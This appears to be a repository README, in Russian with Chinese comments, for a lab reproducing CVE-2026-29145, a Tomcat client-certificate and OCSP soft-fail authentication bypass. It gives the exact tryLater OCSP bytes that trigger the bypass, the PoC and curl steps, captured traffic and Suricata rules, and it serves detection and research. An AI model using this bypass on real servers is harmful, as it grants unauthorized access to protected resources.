
Воспроизводимая среда PoC для обхода CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP soft-fail, включая эксплойт-скрипты, имитацию OCSP-ответчика и правила обнаружения Suricata.
Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass — полная среда воспроизведения, пакеты эксплойта и материалы для создания правил обнаружения Suricata.
Только для авторизованных исследований безопасности и разработки правил обнаружения. Не используйте на неавторизованных системах.
| Параметр | Описание |
|---|---|
| CVE | CVE-2026-29145 |
| Компонент | Apache Tomcat / Tomcat Native |
| Тип | Обход аутентификации (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / Moderate (Apache) |
| Затронутые версии | Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 и др. |
| Исправленные версии | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+ |
Когда в Tomcat включены CLIENT_CERT и OCSP с параметром ocspSoftFail=false (жесткий сбой), некоторые пути ошибок OCSP (особенно статус ответа tryLater) по-прежнему не обрабатываются как жесткий сбой, в результате чего клиентские сертификаты, которые должны быть отклонены, принимаются, и защищенные ресурсы становятся доступными.
Официальное исправление (например, коммит Tomcat fe26667c) приводит обработку пути FFM для OCSP TRY_LATER в соответствие с Tomcat Native.
На Tomcat 10.1.52 + Tomcat Native 2.0.12:
Ключевой момент: необходимо вернуть tryLater по RFC 6960, только HTTP 500 недостаточен для срабатывания обхода в данной среде.
CVE-2026-29145-Everything/
├── README.md # 本文件
├── REPRODUCTION.md # 详细复现笔记与 Suricata 提示
├── docker-compose.yml # 脆弱 Tomcat + Mock OCSP
├── poc_exploit.py # 利用/检测脚本(exit 10 = 脆弱)
├── simple_proxy_fail.py # Mock OCSP(fail / succeed / try_later / internal_error)
├── setup_certs.sh # 生成 CA / 服务端 / 客户端证书(含 OCSP AIA)
├── capture_exploit.sh # 一键利用并抓包
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # CLIENT-CERT 用户映射
│ ├── ROOT/ # 官方镜像缺省 ROOT 的最小补丁
│ └── protected/ # 受保护资源 + web.xml (CLIENT-CERT)
└── pcaps/ # ★ 已抓取的利用流量(写规则用)
├── CVE-2026-29145-mtls-and-ocsp.pcap # 主包:mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # 仅 OCSP 明文
├── CVE-2026-29145-mtls-only.pcap # 仅 8443 TLS
└── exploit_response.html # 利用成功响应快照
Директория с приватными ключами сертификатов certs/ по умолчанию исключена через .gitignore, требуется локальная генерация.
pip install -r requirements.txt или системный python3-requests)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. 生成证书(AIA 指向 Docker 内 OCSP 服务名)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. 启动环境(默认 OCSP_MODE=try_later)
docker compose up -d
# 等待 healthy
docker compose ps
# 3. 运行 PoC
python3 poc_exploit.py
# 期望输出:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 退出码 10 = 脆弱;0 = 不可利用/已修补
Ручная проверка:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# 输出到 pcaps/CVE-2026-29145-*.pcap
В репозиторий уже включен pcap с успешным эксплойтом, который можно использовать для проверки правил Suricata без повторного захвата.
# tryLater — CVE 触发路径(默认)
OCSP_MODE=try_later docker compose up -d --force-recreate
# HTTP 500 失败(本环境硬失败会拒绝)
OCSP_MODE=fail docker compose up -d --force-recreate
# 模拟 OCSP 成功(body 非真实 DER,仅测连通)
OCSP_MODE=succeed docker compose up -d --force-recreate
# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate
Важно: 8443 — это mTLS с шифрованием TLS 1.3, при открытии в Wireshark будет выглядеть как мусор.
OCSP на 8888 — это открытый HTTP, при написании правил следует в первую очередь смотреть на OCSP.
Полное описание см. в pcaps/README.md.
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
Подробнее см. в REPRODUCTION.md и pcaps/README.md.
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
На уровне приложения CLIENT-CERT см. в tomcat/protected/WEB-INF/web.xml.
ocspSoftFail и доступность OCSP; проведите регрессионное тестирование поведения при недоступности/tryLater./cleanup.sh
# 或
docker compose down -v
CVE-2026-29145-Tester (данный репозиторий усилил воспроизводимую конфигурацию и путь tryLater, а также предоставил полную запись)Данный проект предназначен только для образовательных целей, авторизованного пентестинга и разработки правил обнаружения вторжений. Пользователи должны убедиться, что у них есть законное разрешение на тестирование целевых систем. Автор не несет ответственности за любое неправомерное использование.
| Поведение OCSP | ocspSoftFail | Результат |
|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — обход успешен |
| HTTP 500 | false | Отказ TLS (жесткий сбой) |
| Тайм-аут OCSP | false | Отказ TLS |
| Любой сбой | true | 200 (ожидаемый soft-fail) |
| Файл | Описание |
|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | Полная расшифрованная сессия |
pcaps/CVE-2026-29145-ocsp-only.pcap | Открытый текст OCSP (без ключей) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Текст OCSP HTTP для чтения |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Расшифрованный текст HTTP бизнес-трафика |
rules/cve-2026-29145.rules | Пример правил Suricata |